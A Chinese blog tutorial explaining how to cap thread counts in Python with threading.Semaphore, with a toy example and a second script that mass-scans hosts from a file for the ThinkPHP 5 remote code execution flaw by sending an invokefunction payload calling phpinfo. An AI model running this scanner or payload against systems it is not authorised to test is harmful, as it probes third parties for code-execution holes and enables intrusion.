python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python实现DNS正向查询、反向查询的例子
Apr 25 Python
Python基本语法经典教程
Mar 11 Python
Python实现包含min函数的栈
Apr 29 Python
Python django实现简单的邮件系统发送邮件功能
Jul 14 Python
Python 多线程的实例详解
Sep 07 Python
Flask Web开发入门之文件上传(八)
Aug 17 Python
python将pandas datarame保存为txt文件的实例
Feb 12 Python
python ddt数据驱动最简实例代码
Feb 22 Python
python实现树的深度优先遍历与广度优先遍历详解
Oct 26 Python
Python concurrent.futures模块使用实例
Dec 24 Python
python 项目目录结构设置
Feb 14 Python
使用python接受tgam的脑波数据实例
Apr 09 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
PHP动态编译出现Cannot find autoconf的解决方法
2014/11/05 PHP
php中instanceof 与 is_a()区别分析
2015/03/03 PHP
经典PHP加密解密函数Authcode()修复版代码
2015/04/05 PHP
PHP实现的敏感词过滤方法示例
2019/03/06 PHP
php fread函数使用方法总结
2019/05/28 PHP
Javascript在IE或Firefox下获取鼠标位置的代码
2009/12/18 Javascript
js DOM模型操作
2009/12/28 Javascript
Javascript中valueOf与toString区别浅析
2013/03/19 Javascript
jQuery实现鼠标划过添加和删除class的方法
2015/06/26 Javascript
如何让一个json文件显示在表格里【实现代码】
2016/05/09 Javascript
使用jquery给指定的table动态添加一行、删除一行
2016/10/13 Javascript
jQuery实现表格与ckeckbox的全选与单选功能
2016/11/24 Javascript
Vue-cli proxyTable 解决开发环境的跨域问题详解
2017/05/18 Javascript
基于JS实现移动端左滑删除功能
2017/07/28 Javascript
Vue中使用vee-validate表单验证的方法
2018/05/09 Javascript
vue计算属性computed的使用方法示例
2019/03/13 Javascript
Python聚类算法之DBSACN实例分析
2015/11/20 Python
Python决策树和随机森林算法实例详解
2018/01/30 Python
Sanic框架基于类的视图用法示例
2018/07/18 Python
Python函数参数操作详解
2018/08/03 Python
了解不常见但是实用的Python技巧
2019/05/23 Python
Python HTTP下载文件并显示下载进度条功能的实现
2020/04/02 Python
Python实现密钥密码(加解密)实例详解
2020/04/26 Python
opencv 形态学变换(开运算,闭运算,梯度运算)
2020/07/07 Python
python中plt.imshow与cv2.imshow显示颜色问题
2020/07/16 Python
Python中的None与 NULL(即空字符)的区别详解
2020/09/24 Python
世界上最伟大的马产品:Equiderma
2020/01/07 全球购物
计算s=f(f(-1.4))的值
2014/05/06 面试题
医学专业毕业生个人的求职信
2013/12/04 职场文书
学校介绍信范文
2014/01/14 职场文书
高中生的自我评价
2014/03/04 职场文书
教师个人自我剖析材料
2014/09/29 职场文书
2014年宣传工作总结
2014/11/18 职场文书
2014年幼儿园教研工作总结
2014/12/04 职场文书
拾金不昧表扬稿
2015/01/16 职场文书
中国十大神话动漫电影排行榜 哪吒登顶 白蛇缘起排第七
2022/03/21 国漫